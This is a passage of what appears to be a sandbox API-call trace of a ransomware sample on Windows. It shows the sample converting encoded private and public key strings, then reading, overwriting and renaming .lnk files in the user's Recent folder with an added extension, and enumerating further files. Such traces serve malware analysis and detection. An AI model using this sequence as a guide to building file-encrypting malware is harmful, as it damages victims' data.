ewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f6396c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.748] GetCurrentThreadId () returned 0xa30 [0084.748] GetCurrentThreadId () returned 0xa30 [0084.748] GetCurrentThreadId () returned 0xa30 [0084.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f749cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.749] GetCurrentThreadId () returned 0xa30 [0084.749] GetCurrentThreadId () returned 0xa30 [0084.749] GetCurrentThreadId () returned 0xa30 [0084.749] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.749] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.749] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.749] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x952 [0084.749] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.750] ReadFile (in: hFile=0x124, lpBuffer=0x1f7c7d0, nNumberOfBytesToRead=0x952, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f7c7d0*, lpNumberOfBytesRead=0x18f96c*=0x952, lpOverlapped=0x0) returned 1 [0084.751] CloseHandle (hObject=0x124) returned 1 [0084.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.753] WriteFile (in: hFile=0x124, lpBuffer=0x1f7e800*, nNumberOfBytesToWrite=0x952, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f7e800*, lpNumberOfBytesWritten=0x18f978*=0x952, lpOverlapped=0x0) returned 1 [0084.759] CloseHandle (hObject=0x124) returned 1 [0084.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZJXH.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zjxh.lnk.zv7un")) returned 1 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] GetCurrentThreadId () returned 0xa30 [0084.806] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe054a5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe054a5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe054a5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZYdqwrH.lnk", cAlternateFileName="")) returned 1 [0084.806] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.806] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe054a5e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe054a5e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe054a5e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x370)) returned 1 [0084.806] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zydqwrh.lnk")) returned 0x20 [0084.806] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZYdqwrH.lnk", dwFileAttributes=0x80) returned 1 [0084.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnR